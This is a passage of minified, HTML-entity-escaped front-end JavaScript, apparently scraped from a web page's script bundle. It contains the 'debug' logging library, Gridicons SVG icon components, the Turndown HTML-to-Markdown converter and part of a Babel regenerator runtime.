FF0000&quot;,&quot;#FF0033&quot;,&quot;#FF0066&quot;,&quot;#FF0099&quot;,&quot;#FF00CC&quot;,&quot;#FF00FF&quot;,&quot;#FF3300&quot;,&quot;#FF3333&quot;,&quot;#FF3366&quot;,&quot;#FF3399&quot;,&quot;#FF33CC&quot;,&quot;#FF33FF&quot;,&quot;#FF6600&quot;,&quot;#FF6633&quot;,&quot;#FF9900&quot;,&quot;#FF9933&quot;,&quot;#FFCC00&quot;,&quot;#FFCC33&quot;],t.log=console.debug||console.log||(()=&gt;{}),e.exports=s(78926)(t);const{formatters:r}=e.exports;r.j=function(e){try{return JSON.stringify(e)}catch(e){return&quot;[UnexpectedJSONParseError]: &quot;+e.message}}},78926(e,t,s){e.exports=function(e){function t(e){let s,n,o,a=null;function i(...e){if(!i.enabled)return;const r=i,n=Number(new Date),o=n-(s||n);r.diff=o,r.prev=s,r.curr=n,s=n,e[0]=t.coerce(e[0]),&quot;string&quot;!=typeof e[0]&amp;&amp;e.unshift(&quot;%O&quot;);let a=0;e[0]=e[0].replace(/%([a-zA-Z%])/g,(s,n)=&gt;{if(&quot;%%&quot;===s)return&quot;%&quot;;a++;const o=t.formatters[n];if(&quot;function&quot;==typeof o){const t=e[a];s=o.call(r,t),e.splice(a,1),a--}return s}),t.formatArgs.call(r,e);(r.log||t.log).apply(r,e)}return i.namespace=e,i.useColors=t.useColors(),i.color=t.selectColor(e),i.extend=r,i.destroy=t.destroy,Object.defineProperty(i,&quot;enabled&quot;,{enumerable:!0,configurable:!1,get:()=&gt;null!==a?a:(n!==t.namespaces&amp;&amp;(n=t.namespaces,o=t.enabled(e)),o),set:e=&gt;{a=e}}),&quot;function&quot;==typeof t.init&amp;&amp;t.init(i),i}function r(e,s){const r=t(this.namespace+(void 0===s?&quot;:&quot;:s)+e);return r.log=this.log,r}function n(e,t){let s=0,r=0,n=-1,o=0;for(;s&lt;e.length;)if(r&lt;t.length&amp;&amp;(t[r]===e[s]||&quot;*&quot;===t[r]))&quot;*&quot;===t[r]?(n=r,o=s,r++):(s++,r++);else{if(-1===n)return!1;r=n+1,o++,s=o}for(;r&lt;t.length&amp;&amp;&quot;*&quot;===t[r];)r++;return r===t.length}return t.debug=t,t.default=t,t.coerce=function(e){if(e instanceof Error)return e.stack||e.message;return e},t.disable=function(){const e=[...t.names,...t.skips.map(e=&gt;&quot;-&quot;+e)].join(&quot;,&quot;);return t.enable(&quot;&quot;),e},t.enable=function(e){t.save(e),t.namespaces=e,t.names=[],t.skips=[];const s=(&quot;string&quot;==typeof e?e:&quot;&quot;).trim().replace(/\s+/g,&quot;,&quot;).split(&quot;,&quot;).filter(Boolean);for(const e of s)&quot;-&quot;===e[0]?t.skips.push(e.slice(1)):t.names.push(e)},t.enabled=function(e){for(const s of t.skips)if(n(e,s))return!1;for(const s of t.names)if(n(e,s))return!0;return!1},t.humanize=s(44997),t.destroy=function(){console.warn(&quot;Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.&quot;)},Object.keys(e).forEach(s=&gt;{t[s]=e[s]}),t.names=[],t.skips=[],t.formatters={},t.selectColor=function(e){let s=0;for(let t=0;t&lt;e.length;t++)s=(s&lt;&lt;5)-s+e.charCodeAt(t),s|=0;return t.colors[Math.abs(s)%t.colors.length]},t.enable(t.load()),t}},14847(e,t,s){&quot;use strict&quot;;t.A=function(e){var t=e.size,s=void 0===t?24:t,r=e.onClick,i=(e.icon,e.className),l=function(e,t){if(null==e)return{};var s,r,n=function(e,t){if(null==e)return{};var s,r,n={},o=Object.keys(e);for(r=0;r&lt;o.length;r++)s=o[r],0&lt;=t.indexOf(s)||(n[s]=e[s]);return n}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r&lt;o.length;r++)s=o[r],0&lt;=t.indexOf(s)||Object.prototype.propertyIsEnumerable.call(e,s)&amp;&amp;(n[s]=e[s])}return n}(e,o),c=[&quot;gridicon&quot;,&quot;gridicons-fullscreen&quot;,i,!1,!1,!1].filter(Boolean).join(&quot; &quot;);return n.default.createElement(&quot;svg&quot;,a({className:c,height:s,width:s,onClick:r},l,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;}),n.default.createElement(&quot;g&quot;,null,n.default.createElement(&quot;path&quot;,{d:&quot;M21 3v6h-2V6.41l-3.29 3.3-1.42-1.42L17.59 5H15V3zM3 3v6h2V6.41l3.29 3.3 1.42-1.42L6.41 5H9V3zm18 18v-6h-2v2.59l-3.29-3.29-1.41 1.41L17.59 19H15v2zM9 21v-2H6.41l3.29-3.29-1.41-1.42L5 17.59V15H3v6z&quot;})))};var r,n=(r=s(51609))&amp;&amp;r.__esModule?r:{default:r},o=[&quot;size&quot;,&quot;onClick&quot;,&quot;icon&quot;,&quot;className&quot;];function a(){return a=Object.assign?Object.assign.bind():function(e){for(var t,s=1;s&lt;arguments.length;s++)for(var r in t=arguments[s])Object.prototype.hasOwnProperty.call(t,r)&amp;&amp;(e[r]=t[r]);return e},a.apply(this,arguments)}},49789(e,t,s){&quot;use strict&quot;;t.A=function(e){var t=e.size,s=void 0===t?24:t,r=e.onClick,i=(e.icon,e.className),l=function(e,t){if(null==e)return{};var s,r,n=function(e,t){if(null==e)return{};var s,r,n={},o=Object.keys(e);for(r=0;r&lt;o.length;r++)s=o[r],0&lt;=t.indexOf(s)||(n[s]=e[s]);return n}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r&lt;o.length;r++)s=o[r],0&lt;=t.indexOf(s)||Object.prototype.propertyIsEnumerable.call(e,s)&amp;&amp;(n[s]=e[s])}return n}(e,o),c=[&quot;gridicon&quot;,&quot;gridicons-notice-outline&quot;,i,!!function(e){return 0==e%18}(s)&amp;&amp;&quot;needs-offset&quot;,!1,!1].filter(Boolean).join(&quot; &quot;);return n.default.createElement(&quot;svg&quot;,a({className:c,height:s,width:s,onClick:r},l,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;}),n.default.createElement(&quot;g&quot;,null,n.default.createElement(&quot;path&quot;,{d:&quot;M12 4c4.411 0 8 3.589 8 8s-3.589 8-8 8-8-3.589-8-8 3.589-8 8-8m0-2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2zm1 13h-2v2h2v-2zm-2-2h2l.5-6h-3l.5 6z&quot;})))};var r,n=(r=s(51609))&amp;&amp;r.__esModule?r:{default:r},o=[&quot;size&quot;,&quot;onClick&quot;,&quot;icon&quot;,&quot;className&quot;];function a(){return a=Object.assign?Object.assign.bind():function(e){for(var t,s=1;s&lt;arguments.length;s++)for(var r in t=arguments[s])Object.prototype.hasOwnProperty.call(t,r)&amp;&amp;(e[r]=t[r]);return e},a.apply(this,arguments)}},71218(e,t,s){&quot;use strict&quot;;t.A=function(e){var t=e.size,s=void 0===t?24:t,r=e.onClick,i=(e.icon,e.className),l=function(e,t){if(null==e)return{};var s,r,n=function(e,t){if(null==e)return{};var s,r,n={},o=Object.keys(e);for(r=0;r&lt;o.length;r++)s=o[r],0&lt;=t.indexOf(s)||(n[s]=e[s]);return n}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r&lt;o.length;r++)s=o[r],0&lt;=t.indexOf(s)||Object.prototype.propertyIsEnumerable.call(e,s)&amp;&amp;(n[s]=e[s])}return n}(e,o),c=[&quot;gridicon&quot;,&quot;gridicons-star&quot;,i,!!function(e){return 0==e%18}(s)&amp;&amp;&quot;needs-offset&quot;,!1,!1].filter(Boolean).join(&quot; &quot;);return n.default.createElement(&quot;svg&quot;,a({className:c,height:s,width:s,onClick:r},l,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;}),n.default.createElement(&quot;g&quot;,null,n.default.createElement(&quot;path&quot;,{d:&quot;M12 2l2.582 6.953L22 9.257l-5.822 4.602L18.18 21 12 16.891 5.82 21l2.002-7.141L2 9.257l7.418-.304z&quot;})))};var r,n=(r=s(51609))&amp;&amp;r.__esModule?r:{default:r},o=[&quot;size&quot;,&quot;onClick&quot;,&quot;icon&quot;,&quot;className&quot;];function a(){return a=Object.assign?Object.assign.bind():function(e){for(var t,s=1;s&lt;arguments.length;s++)for(var r in t=arguments[s])Object.prototype.hasOwnProperty.call(t,r)&amp;&amp;(e[r]=t[r]);return e},a.apply(this,arguments)}},21147(e,t,s){&quot;use strict&quot;;function r(e,t){return Array(t+1).join(e)}s.d(t,{A:()=&gt;I});var n=[&quot;ADDRESS&quot;,&quot;ARTICLE&quot;,&quot;ASIDE&quot;,&quot;AUDIO&quot;,&quot;BLOCKQUOTE&quot;,&quot;BODY&quot;,&quot;CANVAS&quot;,&quot;CENTER&quot;,&quot;DD&quot;,&quot;DIR&quot;,&quot;DIV&quot;,&quot;DL&quot;,&quot;DT&quot;,&quot;FIELDSET&quot;,&quot;FIGCAPTION&quot;,&quot;FIGURE&quot;,&quot;FOOTER&quot;,&quot;FORM&quot;,&quot;FRAMESET&quot;,&quot;H1&quot;,&quot;H2&quot;,&quot;H3&quot;,&quot;H4&quot;,&quot;H5&quot;,&quot;H6&quot;,&quot;HEADER&quot;,&quot;HGROUP&quot;,&quot;HR&quot;,&quot;HTML&quot;,&quot;ISINDEX&quot;,&quot;LI&quot;,&quot;MAIN&quot;,&quot;MENU&quot;,&quot;NAV&quot;,&quot;NOFRAMES&quot;,&quot;NOSCRIPT&quot;,&quot;OL&quot;,&quot;OUTPUT&quot;,&quot;P&quot;,&quot;PRE&quot;,&quot;SECTION&quot;,&quot;TABLE&quot;,&quot;TBODY&quot;,&quot;TD&quot;,&quot;TFOOT&quot;,&quot;TH&quot;,&quot;THEAD&quot;,&quot;TR&quot;,&quot;UL&quot;];function o(e){return c(e,n)}var a=[&quot;AREA&quot;,&quot;BASE&quot;,&quot;BR&quot;,&quot;COL&quot;,&quot;COMMAND&quot;,&quot;EMBED&quot;,&quot;HR&quot;,&quot;IMG&quot;,&quot;INPUT&quot;,&quot;KEYGEN&quot;,&quot;LINK&quot;,&quot;META&quot;,&quot;PARAM&quot;,&quot;SOURCE&quot;,&quot;TRACK&quot;,&quot;WBR&quot;];function i(e){return c(e,a)}var l=[&quot;A&quot;,&quot;TABLE&quot;,&quot;THEAD&quot;,&quot;TBODY&quot;,&quot;TFOOT&quot;,&quot;TH&quot;,&quot;TD&quot;,&quot;IFRAME&quot;,&quot;SCRIPT&quot;,&quot;AUDIO&quot;,&quot;VIDEO&quot;];function c(e,t){return t.indexOf(e.nodeName)&gt;=0}function u(e,t){return e.getElementsByTagName&amp;&amp;t.some(function(t){return e.getElementsByTagName(t).length})}var d={};function p(e){return e?e.replace(/(\n+\s*)+/g,&quot;\n&quot;):&quot;&quot;}function h(e){for(var t in this.options=e,this._keep=[],this._remove=[],this.blankRule={replacement:e.blankReplacement},this.keepReplacement=e.keepReplacement,this.defaultRule={replacement:e.defaultReplacement},this.array=[],e.rules)this.array.push(e.rules[t])}function m(e,t,s){for(var r=0;r&lt;e.length;r++){var n=e[r];if(g(n,t,s))return n}}function g(e,t,s){var r=e.filter;if(&quot;string&quot;==typeof r){if(r===t.nodeName.toLowerCase())return!0}else if(Array.isArray(r)){if(r.indexOf(t.nodeName.toLowerCase())&gt;-1)return!0}else{if(&quot;function&quot;!=typeof r)throw new TypeError(&quot;`filter` needs to be a string, array, or function&quot;);if(r.call(e,t,s))return!0}}function f(e){var t=e.nextSibling||e.parentNode;return e.parentNode.removeChild(e),t}function b(e,t,s){return e&amp;&amp;e.parentNode===t||s(t)?t.nextSibling||t.parentNode:t.firstChild||t.nextSibling||t.parentNode}d.paragraph={filter:&quot;p&quot;,replacement:function(e){return&quot;\n\n&quot;+e+&quot;\n\n&quot;}},d.lineBreak={filter:&quot;br&quot;,replacement:function(e,t,s){return s.br+&quot;\n&quot;}},d.heading={filter:[&quot;h1&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;h4&quot;,&quot;h5&quot;,&quot;h6&quot;],replacement:function(e,t,s){var n=Number(t.nodeName.charAt(1));return&quot;setext&quot;===s.headingStyle&amp;&amp;n&lt;3?&quot;\n\n&quot;+e+&quot;\n&quot;+r(1===n?&quot;=&quot;:&quot;-&quot;,e.length)+&quot;\n\n&quot;:&quot;\n\n&quot;+r(&quot;#&quot;,n)+&quot; &quot;+e+&quot;\n\n&quot;}},d.blockquote={filter:&quot;blockquote&quot;,replacement:function(e){return&quot;\n\n&quot;+(e=(e=e.replace(/^\n+|\n+$/g,&quot;&quot;)).replace(/^/gm,&quot;&gt; &quot;))+&quot;\n\n&quot;}},d.list={filter:[&quot;ul&quot;,&quot;ol&quot;],replacement:function(e,t){var s=t.parentNode;return&quot;LI&quot;===s.nodeName&amp;&amp;s.lastElementChild===t?&quot;\n&quot;+e:&quot;\n\n&quot;+e+&quot;\n\n&quot;}},d.listItem={filter:&quot;li&quot;,replacement:function(e,t,s){e=e.replace(/^\n+/,&quot;&quot;).replace(/\n+$/,&quot;\n&quot;).replace(/\n/gm,&quot;\n    &quot;);var r=s.bulletListMarker+&quot;   &quot;,n=t.parentNode;if(&quot;OL&quot;===n.nodeName){var o=n.getAttribute(&quot;start&quot;),a=Array.prototype.indexOf.call(n.children,t);r=(o?Number(o)+a:a+1)+&quot;.  &quot;}return r+e+(t.nextSibling&amp;&amp;!/\n$/.test(e)?&quot;\n&quot;:&quot;&quot;)}},d.indentedCodeBlock={filter:function(e,t){return&quot;indented&quot;===t.codeBlockStyle&amp;&amp;&quot;PRE&quot;===e.nodeName&amp;&amp;e.firstChild&amp;&amp;&quot;CODE&quot;===e.firstChild.nodeName},replacement:function(e,t,s){return&quot;\n\n    &quot;+t.firstChild.textContent.replace(/\n/g,&quot;\n    &quot;)+&quot;\n\n&quot;}},d.fencedCodeBlock={filter:function(e,t){return&quot;fenced&quot;===t.codeBlockStyle&amp;&amp;&quot;PRE&quot;===e.nodeName&amp;&amp;e.firstChild&amp;&amp;&quot;CODE&quot;===e.firstChild.nodeName},replacement:function(e,t,s){for(var n,o=((t.firstChild.getAttribute(&quot;class&quot;)||&quot;&quot;).match(/language-(\S+)/)||[null,&quot;&quot;])[1],a=t.firstChild.textContent,i=s.fence.charAt(0),l=3,c=new RegExp(&quot;^&quot;+i+&quot;{3,}&quot;,&quot;gm&quot;);n=c.exec(a);)n[0].length&gt;=l&amp;&amp;(l=n[0].length+1);var u=r(i,l);return&quot;\n\n&quot;+u+o+&quot;\n&quot;+a.replace(/\n$/,&quot;&quot;)+&quot;\n&quot;+u+&quot;\n\n&quot;}},d.horizontalRule={filter:&quot;hr&quot;,replacement:function(e,t,s){return&quot;\n\n&quot;+s.hr+&quot;\n\n&quot;}},d.inlineLink={filter:function(e,t){return&quot;inlined&quot;===t.linkStyle&amp;&amp;&quot;A&quot;===e.nodeName&amp;&amp;e.getAttribute(&quot;href&quot;)},replacement:function(e,t){var s=t.getAttribute(&quot;href&quot;),r=p(t.getAttribute(&quot;title&quot;));return r&amp;&amp;(r=&#039; &quot;&#039;+r+&#039;&quot;&#039;),&quot;[&quot;+e+&quot;](&quot;+s+r+&quot;)&quot;}},d.referenceLink={filter:function(e,t){return&quot;referenced&quot;===t.linkStyle&amp;&amp;&quot;A&quot;===e.nodeName&amp;&amp;e.getAttribute(&quot;href&quot;)},replacement:function(e,t,s){var r,n,o=t.getAttribute(&quot;href&quot;),a=p(t.getAttribute(&quot;title&quot;));switch(a&amp;&amp;(a=&#039; &quot;&#039;+a+&#039;&quot;&#039;),s.linkReferenceStyle){case&quot;collapsed&quot;:r=&quot;[&quot;+e+&quot;][]&quot;,n=&quot;[&quot;+e+&quot;]: &quot;+o+a;break;case&quot;shortcut&quot;:r=&quot;[&quot;+e+&quot;]&quot;,n=&quot;[&quot;+e+&quot;]: &quot;+o+a;break;default:var i=this.references.length+1;r=&quot;[&quot;+e+&quot;][&quot;+i+&quot;]&quot;,n=&quot;[&quot;+i+&quot;]: &quot;+o+a}return this.references.push(n),r},references:[],append:function(e){var t=&quot;&quot;;return this.references.length&amp;&amp;(t=&quot;\n\n&quot;+this.references.join(&quot;\n&quot;)+&quot;\n\n&quot;,this.references=[]),t}},d.emphasis={filter:[&quot;em&quot;,&quot;i&quot;],replacement:function(e,t,s){return e.trim()?s.emDelimiter+e+s.emDelimiter:&quot;&quot;}},d.strong={filter:[&quot;strong&quot;,&quot;b&quot;],replacement:function(e,t,s){return e.trim()?s.strongDelimiter+e+s.strongDelimiter:&quot;&quot;}},d.code={filter:function(e){var t=e.previousSibling||e.nextSibling,s=&quot;PRE&quot;===e.parentNode.nodeName&amp;&amp;!t;return&quot;CODE&quot;===e.nodeName&amp;&amp;!s},replacement:function(e){if(!e)return&quot;&quot;;e=e.replace(/\r?\n|\r/g,&quot; &quot;);for(var t=/^`|^ .*?[^ ].* $|`$/.test(e)?&quot; &quot;:&quot;&quot;,s=&quot;`&quot;,r=e.match(/`+/gm)||[];-1!==r.indexOf(s);)s+=&quot;`&quot;;return s+t+e+t+s}},d.image={filter:&quot;img&quot;,replacement:function(e,t){var s=p(t.getAttribute(&quot;alt&quot;)),r=t.getAttribute(&quot;src&quot;)||&quot;&quot;,n=p(t.getAttribute(&quot;title&quot;));return r?&quot;![&quot;+s+&quot;](&quot;+r+(n?&#039; &quot;&#039;+n+&#039;&quot;&#039;:&quot;&quot;)+&quot;)&quot;:&quot;&quot;}},h.prototype={add:function(e,t){this.array.unshift(t)},keep:function(e){this._keep.unshift({filter:e,replacement:this.keepReplacement})},remove:function(e){this._remove.unshift({filter:e,replacement:function(){return&quot;&quot;}})},forNode:function(e){return e.isBlank?this.blankRule:(t=m(this.array,e,this.options))||(t=m(this._keep,e,this.options))||(t=m(this._remove,e,this.options))?t:this.defaultRule;var t},forEach:function(e){for(var t=0;t&lt;this.array.length;t++)e(this.array[t],t)}};var v=&quot;undefined&quot;!=typeof window?window:{};var k,y,x=function(){var e=v.DOMParser,t=!1;try{(new e).parseFromString(&quot;&quot;,&quot;text/html&quot;)&amp;&amp;(t=!0)}catch(e){}return t}()?v.DOMParser:(k=function(){},function(){var e=!1;try{document.implementation.createHTMLDocument(&quot;&quot;).open()}catch(t){window.ActiveXObject&amp;&amp;(e=!0)}return e}()?k.prototype.parseFromString=function(e){var t=new window.ActiveXObject(&quot;htmlfile&quot;);return t.designMode=&quot;on&quot;,t.open(),t.write(e),t.close(),t}:k.prototype.parseFromString=function(e){var t=document.implementation.createHTMLDocument(&quot;&quot;);return t.open(),t.write(e),t.close(),t},k);function j(e,t){var s;&quot;string&quot;==typeof e?s=(y=y||new x).parseFromString(&#039;&lt;x-turndown id=&quot;turndown-root&quot;&gt;&#039;+e+&quot;&lt;/x-turndown&gt;&quot;,&quot;text/html&quot;).getElementById(&quot;turndown-root&quot;):s=e.cloneNode(!0);return function(e){var t=e.element,s=e.isBlock,r=e.isVoid,n=e.isPre||function(e){return&quot;PRE&quot;===e.nodeName};if(t.firstChild&amp;&amp;!n(t)){for(var o=null,a=!1,i=null,l=b(i,t,n);l!==t;){if(3===l.nodeType||4===l.nodeType){var c=l.data.replace(/[ \r\n\t]+/g,&quot; &quot;);if(o&amp;&amp;!/ $/.test(o.data)||a||&quot; &quot;!==c[0]||(c=c.substr(1)),!c){l=f(l);continue}l.data=c,o=l}else{if(1!==l.nodeType){l=f(l);continue}s(l)||&quot;BR&quot;===l.nodeName?(o&amp;&amp;(o.data=o.data.replace(/ $/,&quot;&quot;)),o=null,a=!1):r(l)||n(l)?(o=null,a=!0):o&amp;&amp;(a=!1)}var u=b(i,l,n);i=l,l=u}o&amp;&amp;(o.data=o.data.replace(/ $/,&quot;&quot;),o.data||f(o))}}({element:s,isBlock:o,isVoid:i,isPre:t.preformattedCode?w:null}),s}function w(e){return&quot;PRE&quot;===e.nodeName||&quot;CODE&quot;===e.nodeName}function _(e,t){return e.isBlock=o(e),e.isCode=&quot;CODE&quot;===e.nodeName||e.parentNode.isCode,e.isBlank=function(e){return!i(e)&amp;&amp;!function(e){return c(e,l)}(e)&amp;&amp;/^\s*$/i.test(e.textContent)&amp;&amp;!function(e){return u(e,a)}(e)&amp;&amp;!function(e){return u(e,l)}(e)}(e),e.flankingWhitespace=function(e,t){if(e.isBlock||t.preformattedCode&amp;&amp;e.isCode)return{leading:&quot;&quot;,trailing:&quot;&quot;};var s=(r=e.textContent,n=r.match(/^(([ \t\r\n]*)(\s*))(?:(?=\S)[\s\S]*\S)?((\s*?)([ \t\r\n]*))$/),{leading:n[1],leadingAscii:n[2],leadingNonAscii:n[3],trailing:n[4],trailingNonAscii:n[5],trailingAscii:n[6]});var r,n;s.leadingAscii&amp;&amp;C(&quot;left&quot;,e,t)&amp;&amp;(s.leading=s.leadingNonAscii);s.trailingAscii&amp;&amp;C(&quot;right&quot;,e,t)&amp;&amp;(s.trailing=s.trailingNonAscii);return{leading:s.leading,trailing:s.trailing}}(e,t),e}function C(e,t,s){var r,n,a;return&quot;left&quot;===e?(r=t.previousSibling,n=/ $/):(r=t.nextSibling,n=/^ /),r&amp;&amp;(3===r.nodeType?a=n.test(r.nodeValue):s.preformattedCode&amp;&amp;&quot;CODE&quot;===r.nodeName?a=!1:1!==r.nodeType||o(r)||(a=n.test(r.textContent))),a}var A=Array.prototype.reduce,S=[[/\\/g,&quot;\\\\&quot;],[/\*/g,&quot;\\*&quot;],[/^-/g,&quot;\\-&quot;],[/^\+ /g,&quot;\\+ &quot;],[/^(=+)/g,&quot;\\$1&quot;],[/^(#{1,6}) /g,&quot;\\$1 &quot;],[/`/g,&quot;\\`&quot;],[/^~~~/g,&quot;\\~~~&quot;],[/\[/g,&quot;\\[&quot;],[/\]/g,&quot;\\]&quot;],[/^&gt;/g,&quot;\\&gt;&quot;],[/_/g,&quot;\\_&quot;],[/^(\d+)\. /g,&quot;$1\\. &quot;]];function E(e){if(!(this instanceof E))return new E(e);var t={rules:d,headingStyle:&quot;setext&quot;,hr:&quot;* * *&quot;,bulletListMarker:&quot;*&quot;,codeBlockStyle:&quot;indented&quot;,fence:&quot;```&quot;,emDelimiter:&quot;_&quot;,strongDelimiter:&quot;**&quot;,linkStyle:&quot;inlined&quot;,linkReferenceStyle:&quot;full&quot;,br:&quot;  &quot;,preformattedCode:!1,blankReplacement:function(e,t){return t.isBlock?&quot;\n\n&quot;:&quot;&quot;},keepReplacement:function(e,t){return t.isBlock?&quot;\n\n&quot;+t.outerHTML+&quot;\n\n&quot;:t.outerHTML},defaultReplacement:function(e,t){return t.isBlock?&quot;\n\n&quot;+e+&quot;\n\n&quot;:e}};this.options=function(e){for(var t=1;t&lt;arguments.length;t++){var s=arguments[t];for(var r in s)s.hasOwnProperty(r)&amp;&amp;(e[r]=s[r])}return e}({},t,e),this.rules=new h(this.options)}function N(e){var t=this;return A.call(e.childNodes,function(e,s){var r=&quot;&quot;;return 3===(s=new _(s,t.options)).nodeType?r=s.isCode?s.nodeValue:t.escape(s.nodeValue):1===s.nodeType&amp;&amp;(r=B.call(t,s)),P(e,r)},&quot;&quot;)}function T(e){var t=this;return this.rules.forEach(function(s){&quot;function&quot;==typeof s.append&amp;&amp;(e=P(e,s.append(t.options)))}),e.replace(/^[\t\r\n]+/,&quot;&quot;).replace(/[\t\r\n\s]+$/,&quot;&quot;)}function B(e){var t=this.rules.forNode(e),s=N.call(this,e),r=e.flankingWhitespace;return(r.leading||r.trailing)&amp;&amp;(s=s.trim()),r.leading+t.replacement(s,e,this.options)+r.trailing}function P(e,t){var s=function(e){for(var t=e.length;t&gt;0&amp;&amp;&quot;\n&quot;===e[t-1];)t--;return e.substring(0,t)}(e),r=t.replace(/^\n*/,&quot;&quot;),n=Math.max(e.length-s.length,t.length-r.length);return s+&quot;\n\n&quot;.substring(0,n)+r}E.prototype={turndown:function(e){if(!function(e){return null!=e&amp;&amp;(&quot;string&quot;==typeof e||e.nodeType&amp;&amp;(1===e.nodeType||9===e.nodeType||11===e.nodeType))}(e))throw new TypeError(e+&quot; is not a string, or an element/document/fragment node.&quot;);if(&quot;&quot;===e)return&quot;&quot;;var t=N.call(this,new j(e,this.options));return T.call(this,t)},use:function(e){if(Array.isArray(e))for(var t=0;t&lt;e.length;t++)this.use(e[t]);else{if(&quot;function&quot;!=typeof e)throw new TypeError(&quot;plugin must be a Function or an Array of Functions&quot;);e(this)}return this},addRule:function(e,t){return this.rules.add(e,t),this},keep:function(e){return this.rules.keep(e),this},remove:function(e){return this.rules.remove(e),this},escape:function(e){return S.reduce(function(e,t){return e.replace(t[0],t[1])},e)}};const I=E},91016(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;p});var r=s(74085),n=s(55217),o=s(33569),a=s(30615);function i(e){return i=&quot;function&quot;==typeof Symbol&amp;&amp;&quot;symbol&quot;==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&amp;&amp;&quot;function&quot;==typeof Symbol&amp;&amp;e.constructor===Symbol&amp;&amp;e!==Symbol.prototype?&quot;symbol&quot;:typeof e},i(e)}function l(){l=function(){return t};var e,t={},s=Object.prototype,r=s.hasOwnProperty,n=Object.defineProperty||function(e,t,s){e[t]=s.value},o=&quot;function&quot;==typeof Symbol?Symbol:{},a=o.iterator||&quot;@@iterator&quot;,c=o.asyncIterator||&quot;@@asyncIterator&quot;,u=o.toStringTag||&quot;@@toStringTag&quot;;function d(e,t,s){return Object.defineProperty(e,t,{value:s,enumerable:!0,configurable:!0,writable:!0}),e[t]}try{d({},&quot;&quot;)}catch(e){d=function(e,t,s){return e[t]=s}}function p(e,t,s,r){var o=t&amp;&amp;t.prototype instanceof k?t:k,a=Object.create(o.prototype),i=new P(r||[]);return n(a,&quot;_invoke&quot;,{value:E(e,s,i)}),a}function h(e,t,s){try{return{type:&quot;normal&quot;,arg:e.call(t,s)}}catch(e){return{type:&quot;throw&quot;,arg:e}}}t.wrap=p;var m=&quot;suspendedStart&quot;,g=&quot;suspendedYield&quot;,f=&quot;executing&quot;,b=&quot;completed&quot;,v={};function k(){}function y(){}function x(){}var j={};d(j,a,function(){return this});var w=Object.getPrototypeOf,_=w&amp;&amp;w(w(I([])));_&amp;&amp;_!==s&amp;&amp;r.call(_,a)&amp;&amp;(j=_);var C=x.prototype=k.prototype=Object.create(j);function A(e){[&quot;next&quot;,&quot;throw&quot;,&quot;return&quot;].forEach(function(t){d(e,t,function(e){return this._invoke(t,e)})})}function S(e,t){function s(n,o,a,l){var c=h(e[n],e,o);if(&quot;throw&quot;!==c.type){var u=c.arg,d=u.value;return d&amp;&amp;&quot;object&quot;==i(d)&amp;&amp;r.call(d,&quot;__await&quot;)?t.resolve(d.__await).then(function(e){s(&quot;next&quot;,e,a,l)},function(e){s(&quot;throw&quot;,e,a,l)}):t.resolve(d).then(function(e){u.value=e,a(u)},function(e){return s(&quot;throw&quot;,e,a,l)})}l(c.arg)}var o;n(this,&quot;_invoke&quot;,{value:function(e,r){function n(){return new t(function(t,n){s(e,r,t,n)})}return o=o?o.then(n,n):n()}})}function E(t,s,r){var n=m;return function(o,a){if(n===f)throw Error(&quot;Generator is already running&quot;);if(n===b){if(&quot;throw&quot;===o)throw a;return{value:e,done:!0}}for(r.method=o,r.arg=a;;){var i=r.delegate;if(i){var l=N(i,r);if(l){if(l===v)continue;return l}}if(&quot;next&quot;===r.method)r.sent=r._sent=r.arg;else if(&quot;throw&quot;===r.method){if(n===m)throw n=b,r.arg;r.dispatchException(r.arg)}else&quot;return&quot;===r.method&amp;&amp;r.abrupt(&quot;return&quot;,r.arg);n=f;var c=h(t,s,r);if(&quot;normal&quot;===c.type){if(n=r.done?b:g,c.arg===v)continue;return{value:c.arg,done:r.done}}&quot;throw&quot;===c.type&amp;&amp;(n=b,r.method=&quot;throw&quot;,r.arg=c.arg)}}}function N(t,s){var r=s.method,n=t.iterator[r];if(n===e)return s.delegate=null,&quot;throw&quot;===r&amp;&amp;t.iterator.return&amp;&amp;(s.method=&quot;return&quot;,s.arg=e,N(t,s),&quot;throw&quot;===s.method)||&quot;return&quot;!==r&amp;&amp;(s.method=&quot;throw&quot;,s.arg=new TypeError(&quot;The iterator does not provide a &#039;&quot;+r+&quot;&#039; method&quot;)),v;var o=h(n,t.iterator,s.arg);if(&quot;throw&quot;===o.type)return s.method=&quot;throw&quot;,s.arg=o.arg,s.delegate=null,v;var a=o.arg;return a?a.done?(s[t.resultName]=a.value,s.next=t.nextLoc,&quot;return&quot;!==s.method&amp;&amp;(s.method=&quot;next&quot;,s.arg=e),s.delegate=null,v):a:(s.method=&quot;throw&quot;,s.arg=new TypeError(&quot;iterator result is not an object&quot;),s.delegate=null,v)}function T(e){var t={tryLoc:e[0]};1 in e&amp;&amp;(t.catchLoc=e[1]),2 in e&amp;&amp;(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function B(e){var t=e.completion||{};t.type=&quot;normal&quot;,delete t.arg,e.completion=t}function P(e){this.tryEntries=[{tryLoc:&quot;root&quot;}],e.forEach(T,this),this.reset(!0)}function I(t){if(t||&quot;&quot;===t){var s=t[a];if(s)return s.call(t);if(&quot;function&quot;==typeof t.next)return t;if(!isNaN(t.length)){var n=-1,o=function s(){for(;++n&lt;t.length;)if(r.call(t,n))return s.value=t[n],s.done=!1,s;return s.value=e,s.done=!0,s};return o.next=o}}throw new TypeError(i(t)+&quot; is not iterable&quot;)}return y.prototype=x,n(C,&quot;constructor&quot;,{value:x,configurable:!0}),n(x,&quot;constructor&quot;,{value:y,configurable:!0}),y.displayName=d(x,u,&quot;GeneratorFunction&quot;),t.isGeneratorFunction=function(e){var t=&quot;function&quot;==typeof 